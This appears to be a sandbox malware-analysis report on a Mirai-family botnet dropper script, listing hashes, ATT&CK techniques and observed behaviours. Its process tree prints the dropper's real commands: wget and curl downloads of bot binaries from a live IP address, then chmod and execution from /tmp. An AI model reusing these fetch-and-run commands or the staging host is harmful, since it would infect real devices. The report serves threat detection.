mirai | 336fc216d10d88ac069d22db53159229050040ff570e610ddcca11040e666a4c

Analysis

max time kernel
48s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06/12/2024, 13:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

jewn.sh
Size

1KB
MD5

49377a7c5220a2e428c4ff6898fcd50c
SHA1

0d2843613a97cc150c539474b2db2ff741260997
SHA256

336fc216d10d88ac069d22db53159229050040ff570e610ddcca11040e666a4c
SHA512

51189375074dc361c0b855ae89774e7888a0a3360bd8291f2d99ba2bc8de4cdf8a2307044d8aee9d9459973f2e29b5d866b7b004e7df754688324a207d77b342

Score

10^/10

mirai kurc botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

KURC

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (112638) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1505	chmod
1521	chmod
1530	chmod
1539	chmod
1550	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/jewn	1506	jewn
/tmp/jewn	1522	jewn
/tmp/jewn	1531	jewn
/tmp/jewn	1540	jewn
/tmp/jewn	1551	jewn

Modifies Watchdog functionality 1 TTPs 10 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn

Enumerates active TCP sockets 1 TTPs 4 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 10 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn

Changes its process name 5 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1506	jewn
Changes the process name, possibly in an attempt to hide itself	1522	jewn
Changes the process name, possibly in an attempt to hide itself	1531	jewn
Changes the process name, possibly in an attempt to hide itself	1540	jewn
Changes the process name, possibly in an attempt to hide itself	1551	jewn

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1189/fd	jewn
File opened for reading	/proc/476/fd	jewn
File opened for reading	/proc/962/fd	jewn
File opened for reading	/proc/1130/fd	jewn
File opened for reading	/proc/1160/fd	jewn
File opened for reading	/proc/449/fd	jewn
File opened for reading	/proc/716/fd	jewn
File opened for reading	/proc/549/fd	jewn
File opened for reading	/proc/1380/fd	jewn
File opened for reading	/proc/428/fd	jewn
File opened for reading	/proc/473/fd	jewn
File opened for reading	/proc/723/fd	jewn
File opened for reading	/proc/962/fd	jewn
File opened for reading	/proc/1158/fd	jewn
File opened for reading	/proc/887/fd	jewn
File opened for reading	/proc/972/fd	jewn
File opened for reading	/proc/1239/fd	jewn
File opened for reading	/proc/1093/fd	jewn
File opened for reading	/proc/665/fd	jewn
File opened for reading	/proc/964/fd	jewn
File opened for reading	/proc/249/fd	jewn
File opened for reading	/proc/1102/fd	jewn
File opened for reading	/proc/1069/fd	jewn
File opened for reading	/proc/473/fd	jewn
File opened for reading	/proc/1113/fd	jewn
File opened for reading	/proc/1126/fd	jewn
File opened for reading	/proc/1/fd	jewn
File opened for reading	/proc/1075/fd	jewn
File opened for reading	/proc/1130/fd	jewn
File opened for reading	/proc/1201/fd	jewn
File opened for reading	/proc/343/fd	jewn
File opened for reading	/proc/1245/fd	jewn
File opened for reading	/proc/1065/fd	jewn
File opened for reading	/proc/1138/fd	jewn
File opened for reading	/proc/668/fd	jewn
File opened for reading	/proc/1069/fd	jewn
File opened for reading	/proc/1045/fd	jewn
File opened for reading	/proc/1082/fd	jewn
File opened for reading	/proc/1156/fd	jewn
File opened for reading	/proc/1295/fd	jewn
File opened for reading	/proc/1120/fd	jewn
File opened for reading	/proc/1292/fd	jewn
File opened for reading	/proc/962/fd	jewn
File opened for reading	/proc/1168/fd	jewn
File opened for reading	/proc/1316/fd	jewn
File opened for reading	/proc/1302/fd	jewn
File opened for reading	/proc/1338/fd	jewn
File opened for reading	/proc/472/fd	jewn
File opened for reading	/proc/1152/fd	jewn
File opened for reading	/proc/676/fd	jewn
File opened for reading	/proc/476/fd	jewn
File opened for reading	/proc/1245/fd	jewn
File opened for reading	/proc/1316/fd	jewn
File opened for reading	/proc/572/fd	jewn
File opened for reading	/proc/596/fd	jewn
File opened for reading	/proc/1134/fd	jewn
File opened for reading	/proc/1130/fd	jewn
File opened for reading	/proc/1295/fd	jewn
File opened for reading	/proc/683/fd	jewn
File opened for reading	/proc/1245/fd	jewn
File opened for reading	/proc/602/fd	jewn
File opened for reading	/proc/1195/fd	jewn
File opened for reading	/proc/1160/fd	jewn
File opened for reading	/proc/964/fd	jewn

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1509	wget
1514	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jew.mips	curl
File opened for modification	/tmp/jew.mpsl	wget
File opened for modification	/tmp/jew.mpsl	curl
File opened for modification	/tmp/jewn	jewn.sh
File opened for modification	/tmp/jew.mips	wget
File opened for modification	/tmp/jew.arm4	curl
File opened for modification	/tmp/jew.arm5	wget
File opened for modification	/tmp/jew.arm5	curl
File opened for modification	/tmp/jew.x86	wget
File opened for modification	/tmp/jew.x86	curl

/tmp/jewn.sh
/tmp/jewn.sh
1⤵
- Writes file to tmp directory
PID:1498
- /usr/bin/wget
  wget http://93.123.85.78/bins/jew.x86
  2⤵
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://93.123.85.78/bins/jew.x86
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/cat
  cat jew.x86
  2⤵
  PID:1504
- /bin/chmod
  chmod +x config-err-WSc3G3 jewn jewn.sh jew.x86 netplan_sl6cks9p snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-Sr34mS
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:1506
- /usr/bin/wget
  wget http://93.123.85.78/bins/jew.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://93.123.85.78/bins/jew.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod +x config-err-WSc3G3 jew.mips jewn jewn.sh jew.x86 netplan_sl6cks9p snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-Sr34mS
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1522
- /usr/bin/wget
  wget http://93.123.85.78/bins/jew.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1525
- /usr/bin/curl
  curl -O http://93.123.85.78/bins/jew.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x config-err-WSc3G3 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_sl6cks9p snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-Sr34mS
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1531
- /usr/bin/wget
  wget http://93.123.85.78/bins/jew.arm4
  2⤵
  PID:1534
- /usr/bin/curl
  curl -O http://93.123.85.78/bins/jew.arm4
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x config-err-WSc3G3 jew.arm4 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_sl6cks9p snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-Sr34mS
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://93.123.85.78/bins/jew.arm5
  2⤵
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl -O http://93.123.85.78/bins/jew.arm5
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x config-err-WSc3G3 jew.arm4 jew.arm5 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_sl6cks9p snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1551

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/jewn

Filesize
60KB

MD5
ec9bf54e29277d9028ea800cf3cf7501

SHA1
371485bf2f9f86e25e618fcb98071b3f6c8524a8

SHA256
19385e38460e0a288e81bdcbb75e7ad23f747d5163ba276ec996bc53db3a11d2

SHA512
87e2fd37cead67b3e43a9b18c0c43b702ba6ecee6d1de3be60d7bf778218c872b417a693205172a2c4ad368c9ffdfe5f7dcd6ff6a0868ad946dbe5cc9e727da9

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads